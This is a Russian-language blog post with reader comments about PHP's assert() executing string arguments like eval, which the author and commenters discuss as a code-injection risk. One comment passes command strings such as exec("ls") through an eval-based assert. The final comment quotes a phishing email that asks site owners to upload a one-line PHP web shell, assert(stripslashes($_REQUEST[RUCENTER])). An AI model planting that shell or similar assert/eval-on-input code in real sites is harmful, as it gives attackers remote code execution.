Неочевидное поведение assert

    При написании кода любой программист делает проверки. Это нормально :) Для генерации ошибок в PHP есть три механизма:
    • error (собственно ошибки);
    • exception (исключения);
    • assertion (утверждения).

    При написании кода и его последующем тестировании было обнаружено совершенно неочевидное поведение функции assert. А теперь немного кода:


    <?php
    // Предположим у нас есть перменная $x
    $test = 'TEST';
     
    // Теперь проверим как работает переменная если мы используем ее в условии
    if ($test)
        echo "В переменной что-то есть\n";
     
    // Код выведет текст "В переменной что-то есть"
     
    // А теперь если сделать то же самое с assert
    assert($test);
     
    // Ассерт отработает нормально, но мы увидим ошибку PHP
    // PHP Notice:  Use of undefined constant TEST - assumed 'TEST' in php shell code(1) : assert code on line 1
    


    Что же во всем этом плохого? А то, что в случае, когда в assert передается строка, интерпретатор будет пытаться выполнить ее аналогично eval, что дает огромный простор для различных уязвимостей, так как злоумышленник в некоторых случаях может получить возможность выполнить произвольный код.

    <?php
    $x = 'TEST';
    assert('$x .= $x;');
     
    echo $x; // TESTTEST
    


    Документация функции assert.

    Комментарии 19

      +4
      1. Это написано в документации к assert => поведение ожидаемое.
      2. В production environment опция assert.active выключена и аргумент ассерта не вычисляется => злоумышленник ничего не получит.
        +2
        Да, конечно же данная «фишка» описана в документации, но проводя параллель с другими языками — это не ожидаемое поведение.

        Действительно, если вы правильно настраиваете боевые сервера, то проблем у вас не будет, но к сожалению зачастую это не так.

        Данным постом я хотел предупредить разработчиков о возможной проблеме, а никак начинать холивар.
          +16
          0
          Функция работает в точности как описана в документации. А вот Ваш код — нет.
          if ($test)
          echo "В переменной что-то есть\n";
          // Код выведет текст "В переменной что-то есть"

          Неа, не выведет. Откуда $test?
            0
            Действительно небольшая опечатка.
              +1
              Я и не утверждаю, что функция работает не правильно. Согласно документации все правильно. Согласно логике — нет.
                0
                ну как нет? В пхп всегда, где нужна лямбда — передают строку.
                assert проверяет не условие, а итог выполнения лямбы, переданной аргументом.
                чтобы когда выключен аргумент — код вообще не вычислялся.
                  +1
                  > assert проверяет не условие, а итог выполнения лямбы
                  assert проверяет И условие, И итог выполнения лямбды, в зависимости от того что ей передать. Два факта:
                  — функция asert часто принимается для проверки аргументов.
                  — в php динамическая типизация.

                  Итого имеем:
                  function one($arg) {
                    assert($arg); // не должно быть равно нулю
                    …
                  }
                  …
                  one($_GET['number']);
                    0
                    не, идиотизм использования строк для лямбд это уже вопрос второй… в пхп много что вылезло боком.
                      0
                      Assertions should not be used for normal runtime operations like input parameter checks.
                        0
                        Могу только картинку сверху повторить. Ну написано это в документации, а дальше-то что? Будете всех, кто проверяет входные параметры этой функцией называть злобными Буртинами и делать вид, что проблемы нет?
                          0
                          Не буду их использовать для этого. Проблемы нет.
                            0
                            Не могу понять к чему Вы клоните… Вы используете eval у себя в проектах? Почему да или нет?
                              0
                              А при чем тут eval?
                                0
                                Так assert почти тоже самое что и eval.

                                namespace assert;
                                
                                error_reporting(-1);
                                
                                function assert($assertion)
                                    {
                                    if (!$return = (boolean)eval('return ' . $assertion . ';'))
                                        trigger_error('Assertion "' . $assertion . '" failed', E_USER_WARNING);
                                    return $return;
                                    }
                                
                                $test = 'TEST; some;';
                                \assert($test);
                                assert($test);
                                
                                $test = '1';
                                \assert($test);
                                assert($test);
                                
                                $test = '0';
                                \assert($test);
                                assert($test);
                                
                                $test = 'print "print" . PHP_EOL';
                                \assert($test);
                                assert($test);
                                
                                $test = 'exec("ls")';
                                \assert($test);
                                assert($test);
                                
                                $test = 'exec("dir")';
                                \assert($test);
                                assert($test);
                                
                  0
                  пхп хорош, но некоторых стандартных функций, по-моему, лучше избегать и не использовать в проектах. Ну например этот самый assert и eval.
                  Это лично моя точка зрения.
                    0
                    А мне понравилось после того как познакомился с Eiffel.
                      0
                      А вот во что Eiffel компилится.
                    +1
                    А в битриксе она используется?
                    Сегодня прилетело письмо якобы от РуЦентра с требованием «подтвердить домен» таким образом:
                    Чтобы подтвердить, что Вы имеете возможность управлять доменным именем, создайте в корневой директории сайта файл a1afnlmt8k98f5sr.php со следующим содержимым:
                    
                    <?php
                    assert(stripslashes($_REQUEST[RUCENTER]));
                    ?>
                    

                    Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                    Самое читаемое